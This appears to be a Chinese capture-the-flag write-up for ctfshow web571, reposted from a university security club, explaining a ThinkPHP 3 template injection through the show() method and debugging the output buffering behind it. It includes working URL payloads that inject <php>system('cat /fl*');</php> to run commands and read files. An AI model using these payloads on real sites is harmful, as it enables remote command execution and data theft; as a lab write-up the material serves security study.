本篇仅代表个人观点。
# ctfshow web571
Home/Controller/indexController.class.php
中控制器可传参n,并且在最后会被渲染public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
}
所以利用点很明显了直接传参
/index.php/home/index/index/n/{php}system('cat /fl*');{/php}
1、标签问题,我这里用的是tp5的标签{}
,但后来经过查看手册tp3的标签是<>
2、就是关于URL解析方式的问题,如果执行语句是常规的echo $n;
,是肯定没有问题的,但这里利用点是show方法,传参方式就需要是?n=
这种常规的方式,之前的方式传入标签后是不会被解析的,本地测试了一下确实是这样:
<?php
namespace HomeController;
use ThinkController;
class IndexController extends Controller{
public function index($name=''){
$this->show($name);
}
}
所以最后的payload:
/index.php/home/index/index/?n=<php>system('cat /fl*');</php>
# 本地调试
本地有环境顺便debug了一波:
跟进show()->display()->fetch()
,之前的$content
一直是<php>echo 'Sentiment';</php>
,经过129行后变成了Sentiment
ob_get_contents
用法——返回输出缓冲区的内容这里echo没执行的原因:
ob_start()把输出内容输出到缓冲区,而不是到浏览器。然后用ob_get_contents得到缓冲区的数据。
# 思考
TMPL_ENGINE_TYPE
我们默认的值是Think
,而ctfshow设置的是php,所以可以进入117行的if,从而执行eval,执行了我们输入的语句
TMPL_ENGINE_TYPE
改成了php进行debug,但无法正常解析执行。而且还有个问题就是即使我们不使用php
而是使用默认的Think
,模板也照样会渲染输出最后的Sentiment
所以我认为这里跟eval语句无关,还是一个缓冲区的问题。(仅个人观点)
于是在本地进行了ob_get_contents()
的测试
<?php
ob_start();
echo "<br>echo '12'</br>";
$out1 = ob_get_contents();
ob_end_clean();
var_dump($out1);
?>
<br>
标签,发生了换行,但里边的语句并没有执行<php>
会执行php语句,所以在渲染<php>echo 'Sentiment';</php>
标签时,就相当于是执行了php语句echo 'Sentiment';
,而由于ob_start()
的存在这里的echo并不会直接输出出来,而是先放到缓存区,之后再通过ob_get_contents()
得到缓冲区数据,就得到了最后的Sentiment
值,<?php
ob_start();
echo 'Sentiment';
$contents = ob_get_contents();
if ($contents !== false) ob_end_clean();
return $contents;
?>
再经过retrun 返回就得到了129行的$content=Sentiment
大部分使用 php模板引擎技术 外部可以控制的情况下,都容易存在这种问题跟tp框架无关但并没有做过多的解释。
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博:齐鲁师范学院网络安全社团
原文始发于微信公众号(齐鲁师院网络安全社团):记一道Thinkphp题引发的思考
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论